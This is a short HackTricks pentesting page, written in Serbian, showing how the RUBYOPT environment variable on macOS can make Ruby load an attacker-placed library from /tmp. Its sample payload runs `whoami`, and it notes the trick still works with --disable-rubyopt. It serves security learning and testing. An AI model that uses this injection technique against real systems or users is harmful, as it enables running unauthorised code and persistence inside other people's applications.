macOS Ruby Applications Injection

Support HackTricks

RUBYOPT

Korišćenjem ove env promenljive moguće je dodati nove parametre u ruby svaki put kada se izvrši. Iako parametar -e ne može biti korišćen za specificiranje ruby koda za izvršavanje, moguće je koristiti parametre -I i -r da se doda nova fascikla u putanju za učitavanje biblioteka i zatim specificirati biblioteku za učitavanje.

Kreirajte biblioteku inject.rb u /tmp:

inject.rb
puts `whoami`

Kreirajte bilo gde Ruby skriptu kao:

hello.rb
puts 'Hello, World!'

Zatim napravite proizvoljan ruby skript koji ga učitava sa:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

Fun fact, to radi čak i sa param --disable-rubyopt:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
Podržite HackTricks

Last updated